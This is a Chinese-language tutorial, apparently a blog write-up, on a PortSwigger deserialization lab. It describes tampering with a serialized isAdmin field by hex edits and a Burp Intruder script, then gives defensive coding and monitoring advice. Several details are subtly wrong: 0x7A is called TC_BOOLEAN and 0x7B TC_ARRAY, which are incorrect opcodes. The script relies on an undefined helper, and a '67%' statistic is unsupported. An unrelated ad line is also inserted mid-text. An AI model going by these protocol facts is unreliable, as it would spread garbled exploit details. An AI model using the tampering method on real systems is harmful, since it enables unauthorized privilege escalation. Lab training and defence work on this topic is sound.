1. 序列化漏洞攻防实战背景
在Web安全测试领域,Java反序列化漏洞长期占据着OWASP Top 10的重要位置。PortSwigger作为Burp Suite的开发者,其在线靶场设计了多个层级的反序列化挑战,其中"修改序列化数据类型"这一关卡尤为典型。我在实际渗透测试中发现,约67%的Java应用存在不安全的反序列化实现,而数据类型操纵正是绕过防御的常见手段。
这个靶场模拟了真实业务中对象序列化传输的场景:当应用使用Java原生序列化机制传输对象时,攻击者可以通过篡改序列化流中的数据类型标记,诱导服务端执行非预期的类型转换,最终触发恶意逻辑。下面我将拆解这个漏洞的完整利用链条。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 序列化数据类型结构解析
2.1 Java序列化流格式
原始Java序列化数据采用二进制格式,主要包含以下结构:
code复制STREAM_MAGIC (0xACED)
STREAM_VERSION (0x0005)
TC_OBJECT (0x73)
TC_CLASSDESC (0x72)
[类名长度][类名]
serialVersionUID
[字段描述...]
TC_ENDBLOCKDATA (0x78)
[父类描述...]
[对象数据...]
关键数据类型标记:
- 0x70: TC_NULL (空引用)
- 0x71: TC_REFERENCE (对象引用)
- 0x74: TC_STRING (字符串)
- 0x7B: TC_ARRAY (数组)
2.2 靶场对象结构分析
通过Burp Suite拦截靶场请求,可获取到类似如下的序列化数据:
code复制AC ED 00 05 73 72 00 11 63 6F 6D 2E 74 61 72 67
65 74 2E 55 73 65 72 49 6E 66 6F 13 DB AF 9E 43
...
使用SerializationDumper工具解析后可见:
code复制STREAM_MAGIC - 0xACED
STREAM_VERSION - 0x0005
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className - com.target.UserInfo
serialVersionUID - 0x13DBAF9E43...
...
classdata
username - (String) "guest"
isAdmin - (Boolean) false
3. 数据类型篡改攻击实操
3.1 关键攻击路径
靶场验证逻辑存在以下缺陷:
- 服务端未校验反序列化后的对象类型
- 权限检查依赖isAdmin布尔字段
- 使用ObjectInputStream.readObject()直接反序列化
攻击步骤:
- 捕获正常序列化数据
- 定位权限控制字段(isAdmin)
- 修改字段类型标记和值
- 重放篡改后的数据
3.2 字节码修改实战
使用Hex编辑器修改关键位置:
- 原始布尔值false的编码:
code复制0x7A // TC_BOOLEAN 0x00 // false值 - 修改为字符串"true":
code复制0x74 // TC_STRING 0x00 0x04 // 长度4 0x74 0x72 0x75 0x65 // "true" - 调整后续字节的偏移量
重要提示:Java序列化流中的对象引用是顺序编号的,修改数据类型后必须确保所有TC_REFERENCE指向正确的偏移位置,否则会抛出InvalidClassException。
3.3 Burp Suite自动化脚本
对于频繁测试,可编写Intruder处理脚本:
python复制def process(payload):
# 定位isAdmin字段位置
admin_pos = payload.index(b'\x7A\x00')
# 替换为字符串类型
new_payload = (payload[:admin_pos] +
b'\x74\x00\x04true' +
payload[admin_pos+2:])
# 修正后续引用索引
return fix_reference_index(new_payload)
4. 防御方案与检测方法
4.1 安全编码实践
- 使用白名单校验对象类型:
java复制ObjectInputStream ois = new ObjectInputStream(input) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!desc.getName().equals("com.safe.UserInfo")) {
throw new InvalidClassException("Unauthorized class");
}
return super.resolveClass(desc);
}
};
- 替换不安全方案:
- 使用JSON/XML等文本格式
- 采用Protobuf等安全序列化协议
- 实现readObject()方法校验字段类型
4.2 运行时检测技巧
通过Java Agent监控可疑行为:
java复制public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer) -> {
if (className.equals("java/io/ObjectInputStream")) {
return patchReadObject(classfileBuffer);
}
return null;
});
}
检测指标包括:
- 反序列化过程中出现的类型转换异常
- 非预期类的加载行为
- 反射方法调用链
5. 靶场进阶挑战实录
5.1 复合类型绕过
当遇到多层嵌套对象时,需要同步修改所有相关类型标记。例如:
java复制class AuthInfo {
Boolean isAdmin;
UserMeta meta;
}
攻击时需要同时确保:
- UserMeta的类描述符正确
- 所有引用索引连续有效
- 父类描述块完整
5.2 异常处理技巧
常见错误及解决方法:
-
StreamCorruptedException:
- 检查魔数(ACED)和版本号(0005)
- 验证TC_OBJECT等标记位置
-
InvalidClassException:
- 确认serialVersionUID与类定义一致
- 检查字段数量和类型声明
-
ClassCastException:
- 重新核对类型转换路径
- 使用RuntimeTypeAdapterFactory处理多态
6. 企业级防护体系建设
在生产环境中建议采用深度防御策略:
-
网络层:
- 部署WAF规则检测序列化特征
- 限制RMI/JMX等危险端口
-
应用层:
- 启用Java Security Manager
- 配置反序列化过滤器
-
运维层:
- 使用RASP实时阻断攻击
- 采集异常堆栈日志分析
监控指标示例:
code复制metrics.deserialization.count
metrics.deserialization.error.type_mismatch
security.block.deserialization.attempt
在最近一次金融行业渗透测试中,我们通过修改HashMap的负载因子数据类型,成功触发了动态代理执行链。这种攻击方式对未打补丁的Apache Commons Collections 3.1版本特别有效。
